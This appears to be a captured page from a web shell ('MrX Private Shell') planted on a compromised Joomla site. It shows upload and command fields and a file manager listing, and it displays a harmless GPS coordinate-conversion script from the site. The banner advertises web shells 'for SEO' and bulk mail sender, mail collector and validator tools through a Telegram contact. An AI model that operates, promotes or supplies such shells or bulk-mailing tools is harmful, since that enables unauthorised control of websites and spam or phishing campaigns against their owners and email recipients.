__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
function setPMGPSLongitude(inputValue) {
	longitudeValue = convertPMGPS(inputValue, 'longitude');
	window.top.document.forms.adminForm.elements.gpslongitude.value = longitudeValue;
}
function setPMGPSLatitude(inputValue) {
	latitudeValue = convertPMGPS(inputValue, 'latitude');
	window.top.document.forms.adminForm.elements.gpslatitude.value = latitudeValue;
}

function setPMGPSLongitudeJForm(inputValue) {
	longitudeValue = convertPMGPS(inputValue, 'longitude');
	if (window.parent) window.parent.phocaSelectMap_jform_gpslongitude(longitudeValue);
}

function setPMGPSLatitudeJForm(inputValue) {
	latitudeValue = convertPMGPS(inputValue, 'latitude');
	if (window.parent) window.parent.phocaSelectMap_jform_gpslatitude(latitudeValue);
}

function convertPMGPS(inputValue, type) {
	var status		= 1;
	var cAbs		= 0;
	var vAbs		= 1000000000;
	var degree		= 0;
	var minute		= 0;
	var second		= 0;
	var gpsValue	= '';
	var degrees		= 180;
	var potc		= '';
	var ms			= 60;
	
	if (type == 'longitude') {
		degrees	= 180;
	}
	
	if (type == 'latitude') {
		degrees	= 90;
	}

	if(isNaN(inputValue)) {
		return '';
	}
	
	if(inputValue < 0) {
		status = -1;
	}
	
	cAbs = Math.abs(Math.round(vAbs * inputValue));

	if(cAbs > (vAbs * degrees)) {
		return '';
	}

	degree = status * Math.floor(cAbs/vAbs);
	minute = Math.floor(ms * ((cAbs/vAbs) - Math.floor(cAbs/vAbs)));
	second = ms * Math.floor(vAbs * ((ms * ((cAbs/vAbs) - Math.floor(cAbs/vAbs))) - Math.floor(ms * ((cAbs/vAbs) - Math.floor(cAbs/vAbs)))) ) / vAbs;
	
	second = Math.round(second * 1000)/1000;
	
	if (degree < 0) {
		if (type == 'longitude') {
			potc = 'W';
		}
		if (type == 'latitude') {
			potc = 'S';
		}
	} 
	if (degree > 0) {
		if (type == 'longitude') {
			potc = 'E';
		}
		if (type == 'latitude') {
			potc = 'N';
		}
	}
	gpsValue = Math.abs(degree) + '\u00b0' + '\u0020' + minute + '\u0027' + '\u0020' + second + '\u0022' + potc;

	//status = 1;

	return gpsValue;
}
/* utf-8 test ěščřžýáíé */

Filemanager

Name Type Size Permission Actions
select2 Folder 0775
coordinates.js File 2 KB 0664
index.html File 44 B 0664
Filemanager